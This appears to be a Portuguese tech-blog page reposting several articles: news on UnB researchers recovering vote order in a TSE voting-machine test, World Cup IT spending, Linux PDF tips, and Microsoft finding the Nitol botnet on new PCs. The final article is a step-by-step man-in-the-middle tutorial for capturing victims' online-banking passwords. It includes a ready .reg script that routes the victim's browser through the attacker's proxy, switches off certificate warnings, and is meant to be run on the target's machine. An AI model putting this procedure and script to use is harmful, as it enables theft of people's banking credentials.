Hackers conseguem invadir urna eletrônica

Brasília – Um grupo de quatro especialistas da Universidade de Brasília (UnB) encontrou uma lacuna na segurança das urnas eletrônicas, em teste promovido pelo Tribunal Superior Eleitoral (TSE). Os pesquisadores do Centro de Informática e do Departamento de Computação da UnB conseguiram decifrar códigos da urna e identificaram a ordem dos votos registrados no equipamento. Se o mesmo grupo tivesse em mãos os nomes dos eleitores que votaram na urna, em ordem cronológica, poderia indicar quem votou em que candidato.


Com a descoberta, o TSE foi obrigado a criar novos obstáculos para impedir que os dados da urna possam ser descriptografados. O mesmo grupo da UnB terá uma nova chance para desvendar o mistério. Para alcançar seu objetivo, os profissionais puderam visualizar por um curto período de tempo o código-fonte – a tradução do algoritmo -, que fica guardado no cofre do tribunal. O chefe do grupo, Diego de Freitas Aranha, professor do Departamento de Computação da UnB, disse que é impossível saber se conseguiriam quebrar o segredo caso não tivessem acesso à informação privilegiada.

- Isso facilitou a execução do teste. Nós conseguimos recuperar os votos em ordem, numa totalidade de 99,99%. O que isso significa? De posse dos votos, em ordem, e de uma lista de eleitores que precisa ser obtida de uma outra forma, em ordem, é possível você fazer a correspondência. Esse é o resultado do nosso teste – explicou Aranha.

A urna investigada estava carregada com a média de votos digitados, por equipamento, nas eleições gerais de 2010. O mesmo grupo demonstrou ao TSE como desembaralhou os votos e foi obrigado a apontar sugestões para fechar a porta do sistema.

- Faz parte do protocolo do teste os investigadores sugerirem alterações, correções, reparos. Se nossas sugestões forem adotadas, não deveria haver risco – completou o especialista.

O perito da Polícia Federal (PF) Thiago Cavalcante, que também participou do teste, reforçou que a ação dos colegas apontou uma vulnerabilidade no sistema. Mas pondera que o processo eleitoral tem uma série de etapas não relacionadas entre si, o que dificultaria, em tese, a quebra do sigilo.

- Por isso, o teste é bem-vindo. Justamente para corrigir problemas antes da eleição – afirmou o perito da PF.

Além da quebra do sigilo dos votos, outros grupos de hackers trabalharam, no mesmo teste, para fraudar as eleições, mas nenhum obteve êxito. Este foi o segundo “ataque” com especialistas em computação, que transformaram a urna em alvo eletrônico. Em 2009, outro pesquisador, com um rádio de pilha a cinco centímetros de distância do equipamento, venceu a disputa promovida pelo TSE. Ele distinguiu as ondas eletromagnéticas dos números 1 e 2. Um dos técnicos que supervisionaram o teste admitiu que os vencedores deste ano foram muito além.

O secretário de Tecnologia da Informação do TSE, Giuseppe Janino, informou que a descoberta, por si, garantiu o sucesso do teste, que durou seis dias. Ele informou que já providenciou o “reforço da rotina do algoritmo”, aumentando a complexidade da operação.

- A urna continua segura. Esta é uma iniciativa inédita no mundo, e o teste demonstra a competência da equipe. Assim que os ajustes estiverem concluídos, esse mesmo grupo será chamado para repetir o teste – assegurou Janino.

Leia Mais

Como os eventos esportivos que o Brasil vai recepcionar impactam o setor de TI

A Copa do Mundo de 2014, que será sediada pelo Brasil, está sendo vista como um momento sublime e imperdível para grande maioria da população brasileira. Os jogos Olímpicos de 2016, igualmente sediados pelo Brasil, também têm seu apelo, mas não chega a ter a expectativa de parar o País, assim como o evento de futebol. Mas é certo que os dois eventos tem tudo a ver com nossas raízes, que desfruta ao máximo suas festas tradicionais como o Carnaval e outras mais regionais. Nestes momentos, os brasileiros exaltam seu lado patriota com muita intensidade.

Além da festa, estes dois grandes acontecimentos trarão ao País grandes oportunidades de negócios e um ‘boom’ em vários setores, considerando a movimentação tanto do governo quanto da iniciativa privada. Já estamos vivenciando a construção ou reforma de grandes estádios, que devem se tornar verdadeiras ‘arenas’, nas quais poderemos usufruir deste espaço – pós Copa e Olimpíadas – em eventos de entretenimento, como shows, formaturas, encontros religiosos, entre outros.

Também veremos a indústria hoteleira aprimorando sua infraestrutura para melhorar o atendimento a seus clientes; da mesma forma, teremos obras em aeroportos e investimento em Telecom, para que as emissoras de TV façam a comunicação em geral, satisfazendo tanto os brasileiros quanto o resto do mundo com excelentes transmissões. Estes investimentos criarão condições de trabalho para todos os profissionais envolvidos nos eventos.

Ainda haverá uma avalanche de verbas de publicidade aplicadas em várias ações, talvez, sem precedentes até hoje no País. O setor de TI acompanhará toda esta movimentação, pois em qualquer um destes locais existe a necessidade de integração de tecnologias de ponta.

Recentemente li um estudo, realizado pela Associação Brasileira de Empresas de TIC (Brasscom), que previa investimentos para a realização da Copa do Mundo e da Olimpíada na ordem de R$ 57 bilhões, sendo que somente a área de TIC (Tecnologias da Informação e Comunicação) responderia por 10% do total, ou R$ 5,7 bilhões. Os valores correspondem à infraestrutura (estádios, mobilidade urbana, aeroportos e portos) das cidades-sede e aos gastos com a melhoria dos serviços (TIC, energia, hotelaria, saúde e segurança).

O investimento de R$ 5,7 bilhões está relacionado com as exigências da Fifa em relação à infraestrutura de TIC, como redes entre todos os locais, suporte a dados e áudio, serviços de voz, vídeo, streaming (transmissão de informação multimídia) e gestão dos sistemas e suporte. Isto tudo somente nas dependências diretas do evento, ou seja, sem considerar os hotéis, restaurantes e empresas de médio porte de outros segmentos que também estarão envolvidos nos eventos.

Com todas estas oportunidades, a cadeia de fornecimento de tecnologia – fabricante, distribuidor e revenda – terá que se preparar para atender às demandas, auxiliando ainda na criação de projetos tecnológicos mais adequados à cada situação. Os profissionais do setor precisam considerar nestes projetos tudo que pode ser oferecido depois do evento. Este é um ponto de grande relevância para o sucesso contínuo dos investimentos.

No meio de todos estes processos, ainda estamos vendo muitas obras atrasadas, e provavelmente teremos problemas como prazos de entrega encurtados, levando ao aumento de custos.

Diante do cenário, nosso grande desafio, enquanto fornecedores de tecnologia, será contribuir para que tudo esteja pronto nos prazos estabelecidos e, o que é mais importante, contribuir para a oferta de projetos inovadores, que permitam a estes locais serem melhores aproveitados após o evento, garantindo assim o retorno de seu investimento e os recursos necessários para sua manutenção.

Com a ajuda de todos, não corremos o risco de, lá para frente, vermos todo um esforço e investimento jogados no lixo, pelo mau aproveitamento das obras. A fase que compete ao mercado de TI para estes grandes eventos está se aproximando. Que tal nos prepararmos com a oferta de soluções de ponta para o setor e com a capacitação dos nossos profissionais? Com todo potencial que nós brasileiros temos, criativo ou de execução, esta Copa promete!

Fonte : profissionaisti

Leia Mais

Trabalhando com Arquivos PDF no Linux

Nesse artigo iremos dar algumas dicas de como se trabalhar com documentos PDF no Linux, veremos como criar documentos PDF editáveis, como editar qualquer documento em PDF e outras dicas interessantes.

O formato de arquivos PDF (Portable Document Format) foi desenvolvido pela Adobe Systems em 1993 com o objetivo de representar documentos de maneira independente do aplicativo, do hardware e do sistema operacional usados para criá-los. O PDF é um padrão aberto e qualquer pessoa pode escrever aplicativos que leiam ou escrevam neste padrão.

Existem diversas aplicações disponíveis por aí para criação, edição e leitura de documentos no formato PDF. As aplicações mais conhecidas do público em geral são as para criação e leitura de documentos em PDF, já quando falamos em edição de documentos PDF  nem todos conhecem as formas de se fazer isso.


Como criar documentos PDF editáveis no Linux

A maioria dos usuários Linux utiliza ou já utilizou a suíte LibreOffice para criação de documentos. Para os que são novos no Linux o LibreOffice é o similar do Office da Microsoft, só que o LibreOffice é de graça, é claro

Quando criamos algum documento no LibreOffice podemos exporta-lo no formato PDF de forma bem simples, basta ir na guia “Arquivo -> Exportar como PDF…“. E para torná-lo editável basta marcar a opção “Tornar esse PDF facilmente editável no LibreOffice”.

Em seguida, basta clicar em Exportar e pronto. Da próxima vez que você quiser editar esse documento, diretamente no PDF, basta abri-lo com o LibreOffice.

Um detalhe: Quando você abrir o PDF com o LibreOffice, caso apareça um monte de caractares malucos é porque está faltando um pacote chamado libreoffice-pdfimport. Basta instalar esse pacote, fechar e abrir o LibreOffice que tudo deve funcionar.

$ sudo apt-get install libreoffice-pdfimport

Editando outros documentos PDF

Bem, quase todo mundo já se deparou com um situação parecida – você recebeu ou baixou um arquivo PDF que não é editável, mas você precisa editar esse arquivo. Para isso podemos utilizar um aplicativo muito interessante, chamado Master PDF Editor.

Para os usuários do Ubuntu você pode obter esse aplicativo diretamente através da Central de Gerenciamento de Software do Ubuntu, basta fazer uma busca pelo aplicativo Master PDF Editor. Você verá que não tem a opção de instalar, somente o botão de Comprar. No entanto, o preço desse aplicativo é 0.00. Então é só clicar no botão de Comprar, fazer o login com seu usuário do Ubuntu Single Sing On (caso não tenha uma, basta se registrar) e o processo de instalação dará início.

Para os que não são usuários do Ubuntu é possível fazer o download do Master PDF Editor nesse link.

Assim que o aplicativo for instalado você poderá abrir os documentos PDF e editá-los da maneira que desejar, sendo possível copiar, colar, recortar, excluir ou inserir qualquer coisa no seu PDF, seja textos ou imagens.

Juntando Arquivos PDF no Linux

Como uma última dica, vamos tratar de outro problema que muitos de nós já enfrentamos… tenho dois arquivos PDF e quero juntar os dois, formando um único arquivo.

Isso no Linux é extremamente fácil com uso do aplicativo pdftk. Basta instalar esse aplicativo:

$ sudo apt-get install pdftk

Depois de instalado basta utilizar da seguinte forma, veja abaixo um exemplo para juntar dois arquivos PDF no Linux (teste1.pdf e teste2.pdf) formando um novo arquivo chamado juntado.pdf. No exemplo, os arquivos estão localizados na pasta /home/docs.

$ pdftk /home/docs/teste1.pdf /home/docs/teste2.pdf cat output /home/docs/juntado.pdf

Se quiser ver outras opções do uso do pdftk basta consultar seu manual (man pdftk).

Leia Mais

Microsoft descobre que PCs já saem de fábrica com vírus

Em meio a uma investigação sobre pirataria, a Microsoftdescobriu algo preocupante: computadores não só saem de fábrica com cópias falsificadas do Windowscomo, também, com vírus.

Pesquisadores da companhia encontraram o problema na China ao comprarem 20 máquinas novas em varejistas diferentes. Todas elas tinham versões piratas do sistema operacional e quatro delas vieram com vírus.

Um desses vírus, chamado Nitol, já foi visto também nos Estados Unidos, Rússia, Austrália e Alemanha, segundo o The Guardian. Todos esses computadores se tornam parte de uma botnet.

O caso foi revelado pela Microsoft na quinta-feira, 13, em uma corte federal em Virgínia, onde a companhia encabeça uma batalha contra o empresário chinês Peng Yong, dono de um domínio considerado como responsável pela maior central de atividades ilegais na internet, o 3322.org. Há mais de 500 tipos de malwares por lá.

A empresa foi à Justiça explicar a ligação entre Yong e o vírus, descoberta em uma investigação sobre pirataria iniciada em agosto de 2011 - foi quando as 20 máquinas foram compradas. Dentre todos os problemas, o que mais chamou a atenção dos pesquisadores foi a atividade do Nitol, que já veio ativo em um dos PCs.

"Assim que ligamos este computador, por sua conta própria e sem qualquer intervenção nossa, ele começou a pesquisar na internet, tentando se conectar com um computador desconhecido", contou em um documento Patrick Stratton, um gerente sênior da Microsoft para crimes digitais.

Ele e um colega perceberam que o Nitol é altamente contagioso: ao conectar um pendrive à máquina infectada, ele automaticamente foi contaminado e, quando ligado a outro PC, ele passou o vírus adiante.

Milhares de exemplos do vírus foram examinados, com diversas variáveis, e em todos os casos havia ligação com servidores associados ao 3322.org. Em 2008, a Kaspersky afirmou que 40% de todos os malwers do mundo tinham alguma relação com o domínio; no ano seguinte, a Zscaler reportou que a taxa era de 17%.

Fonte:http://olhardigital.uol.com.br/produtos/digital_news/noticias/microsoft-descobre-que-pcs-ja-saem-de-fabrica-com-virus

Leia Mais

A técnica Man-in-the-Middle

 O que aconteceu, se eu tomei todos os cuidados antes de entrar com a minha senha!? ...
Onde estava o erro afinal?
Será que havia um HOMEM-NO-MEIO?

A Técnica

Apesar de ser uma técnica relativamente fácil de ser feita, não deixa de ser uma técnica super poderosa. Muitos crackers à usam para fins maléficos como roubar senhas de clientes de bancos, mas a mesma pode ser usada por hackers para descobrir senhas de e-mails como por exemplo o Yahoo! Ou Hotmail que se tentássemos captura-las por técnicas de sniffing não obteríamos nada legível. Neste artigo irei mostrar como os crackers capturam senhas de bancos on-line para demonstrar que os famosos tecladinhos virtuais são facilmente burlados apesar de toda a sua fama de seguro. Nenhuma forma de proteção existente nos dias de hoje é capaz de parar esta técnica.
Espero que nenhum de nossos leitores use o conhecimento aqui obtido para causar prejuízos a terceiros, uma vez que escrevi este artigo apenas para fins didáticos e não poderá ser usado como forma de incentivo a criminalidade. O que garante que eu possa passar este conhecimento para você sem está cometendo um crime é o artigo 5º da Constituição Federal que nos garante a Liberdade de Expressão.


Como funciona?

Veja a imagem a seguir, esta é uma representação de uma conexão normal, sem interceptações, e funciona de modo que o cliente passa os dados criptografados para o servidor e vice-versa, tornando assim impossível o uso de técnicas de sniffing para a capturados dados trocados entre o cliente e o servidor.

Abaixo segue uma representação de uma conexão interceptada, (usando a técnica Man-in-The-Middle), e funciona de modo que o hacker engana o cliente e o servidor. Engana o cliente se fazendo passar por um simples servidor de proxy, e engana o servidor se passando pelo próprio cliente, desta forma os dados chegam até o hacker em texto puro, pois os dois pensam que o hacker é uma fonte confiável.

Conhecendo o Anchiles

O Achiles nada mais é do que um simples servidor de proxy, que se usado de forma incorreta pode servir como uma poderosa ferramenta hacker, que nas mão de uma pessoa mal intencionada pode causar grandes prejuízos, uma verdadeira faca de dois gumes. Você pode usar outro programa semelhante mais vamos usar este no exemplo.

Configurando

Em seguida clique no botão com um sinal de play no achiles para iniciar o servidor de proxy, para confirmar se o Achiles realmente iniciou o servidor verifique na barra de status do programa se ele está como running como na figura abaixo.

Agora abra as janelas do cliente e do servidor, para abrir a janela do cliente basta clicar no botão do ícone C e para a abrir a janela do servidor basta clicar na janela com o ícone S e aogra o Achiles já está configurado vamos agora configurar a máquina alvo.

Preparando o computador alvo

Um dos grandes inconvenientes desta técnica é que precisamos ter acesso físico à máquina do alvo para fazermos algumas configurações para que a técnica dê certo ou então poderíamos escrever um controle ActiveX que quando o alvo entrasse em uma página contendo este controle malicioso feito pelo hacker, estas alterações fossem feitas no computador do alvo automaticamente, mas isto é uma área muito avançada e será estudada em um outro artigo, talvez.

Para preparar o computador do alvo siga os passos:

Etapa 1

Abra o Internet Explorer do alvo, clique no menu Ferramentas / Opções de Internet... E em seguida na aba Conexões e depois em Configurações da LAN.

Etapa 2

Tomando como exemplo a figura abaixo, na máquina do alvo marque a opção de número 01 e em seguida digite o seu IP no campo número 02 (você pode ver qual é o seu IP acessando http://www.ip-adress.com) e no campo de número 03 digite a porta que você especificou no achiles quando o configurava. Agora clique em OK e vá para a aba Avançadas.

Etapa 3

Na aba Avançadas role a drop-down até encontrar as opções no grupo Segurança:

Avisar quando o certificado do site for inválido

Avisar se os formulários submentidos estiverem sendo redirecionados

Pronto! Agora é só esperar que o alvo acesse site e digite seus dados (login e senha), e logo aparecerá na janela de Cliente do Achiles. Na janela do servidor você poderá ver as respostas que o servidor está dando para o cliente, use com cuidado!

Script automatizado

Vamos escrever um script que fará todo o trabalho pesado pra você, ele fará toda a configuração mostrada acima, automaticamente basta apenas executá-lo e pronto o computador da vítima já está preparado para a ser interceptado.

Abra o notepad e digite o seguinte código, (sem a numeração das linhas):

Windows Registry Editor Version 6.01

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable"=dword:00000001

"ProxyServer"="127.0.0.1:8080"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"WarnonBadCertRecving"=dword:00000000

"WarnOnPostRedirect"=dword:00000000

Em seguida salve o arquivo com a extensão .reg.

Como configurar o script

Para configurar este script é bastante simples basta você editar a linha de número 4 ("ProxyServer"="127.0.0.1:8080") no código do script colocando lá informações sobre o IP e porta do servidor de proxy que no caso é o IP do seu computador. No lugar de 127.0.0.1 você deverá digitar o seu IP e no lugar de 8080 você deverá digitar a porta pela qual o servidor do proxy vai se comunicar com o cliente, ficando assim "ProxyServer"="ip.do.seu.micro:porta".

O script está pronto! Agora é só você fazer com que o alvo o abra ou em um rápido acesso físico a máquina do mesmo você poderá executá-lo já que sua execução é bastante rápida.

Proteja-se

Se você perceber a internet extremamente lenta ou se for emitido algum aviso sobre o certificado de segurança inválido, quando você acessar alguma página segura como a página de um banco, desconfie! Pois você pode estar sendo mais uma vítima desta poderosa técnica. Crie o habito de checar as configurações de proxy (Ferramentas>Opções de Internet...) toda vez que for visitar sites de bancos ou passar informações sigilosas via internet, assim você ficará bem mais protegido.

Pode existir novas técnicas que aplicam o golpe Man-in-the-Maddle e softwares especificos para o feito, então sempre se mantenha atualizado sobre isto.

FONTE : securityhacker

Leia Mais